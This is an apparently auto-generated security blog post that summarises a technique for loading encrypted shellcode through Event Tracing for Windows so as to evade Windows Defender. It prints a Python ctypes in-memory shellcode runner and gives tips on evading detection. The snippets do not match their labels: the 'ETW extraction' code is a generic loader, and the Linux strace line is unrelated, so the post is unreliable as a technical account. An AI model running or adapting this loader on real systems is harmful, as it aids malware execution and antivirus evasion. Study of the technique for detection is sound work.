Exploring Event Tracing for Windows (ETW) for Shellcode Execution

Listen to this Post

In this article, we delve into the use of Event Tracing for Windows (ETW) to create a shellcode loader. The proof-of-concept involves transmitting encrypted shellcode via ETW events, which is later extracted and executed in memory. At the time of writing, this technique bypasses Windows Defender.

Write-up: https://lnkd.in/dN_rb34U
GitHub: https://lnkd.in/dc83JCUA

Practice-Verified Code and Commands

Below are some commands and code snippets related to the article:

1. ETW Tracing in PowerShell:


<h1>Start an ETW trace session</h1>

logman create trace "ETWShellcodeTrace" -ow -o C:\ETWTrace.etl -p {GUID} -ets 

2. Extracting Shellcode from ETW Events:

import ctypes 
import struct

<h1>Example of decrypting and loading shellcode</h1>

shellcode = bytearray(b"ENCRYPTED_SHELLCODE_HERE") 
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p 
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) 
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr), shellcode, ctypes.c_int(len(shellcode))) 
ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) 

3. Bypassing Windows Defender:

  • Use obfuscation techniques to avoid detection.
  • Encrypt shellcode and decrypt it in memory to evade signature-based detection.

4. Linux Equivalent (for comparison):


<h1>Use strace to trace system calls in Linux</h1>

strace -o trace.log ./shellcode_loader 

What Undercode Say

Event Tracing for Windows (ETW) is a powerful diagnostic tool that can be repurposed for offensive security techniques, such as executing shellcode in memory. By leveraging ETW events, attackers can transmit encrypted payloads that evade traditional detection mechanisms like Windows Defender. This technique highlights the importance of understanding both defensive and offensive capabilities of operating system features.

For defenders, monitoring ETW events for unusual patterns can help detect such attacks. Tools like Sysmon and custom ETW trace sessions can be configured to log suspicious activities. On the offensive side, obfuscation and encryption are key to bypassing security solutions.

In Linux, similar techniques can be explored using tools like `strace` or `ptrace` to trace system calls and inject shellcode. For example, using `ptrace` to attach to a process and modify its memory space is a common method.

To further explore ETW and shellcode execution, refer to the following resources:
ETW Documentation
Shellcode Injection Techniques

Understanding these techniques is crucial for both red and blue teams to improve their skills and defenses. Always practice ethical hacking in controlled environments and with proper authorization.

By combining knowledge of system internals, encryption, and evasion techniques, security professionals can stay ahead in the ever-evolving landscape of cybersecurity.

References:

initially reported by: https://www.linkedin.com/posts/ameenalkurdy_i-was-exploring-event-tracing-for-windows-activity-7300031856769404928-zjEt – Hackers Feeds
Extra Hub:
Undercode AIFeatured Image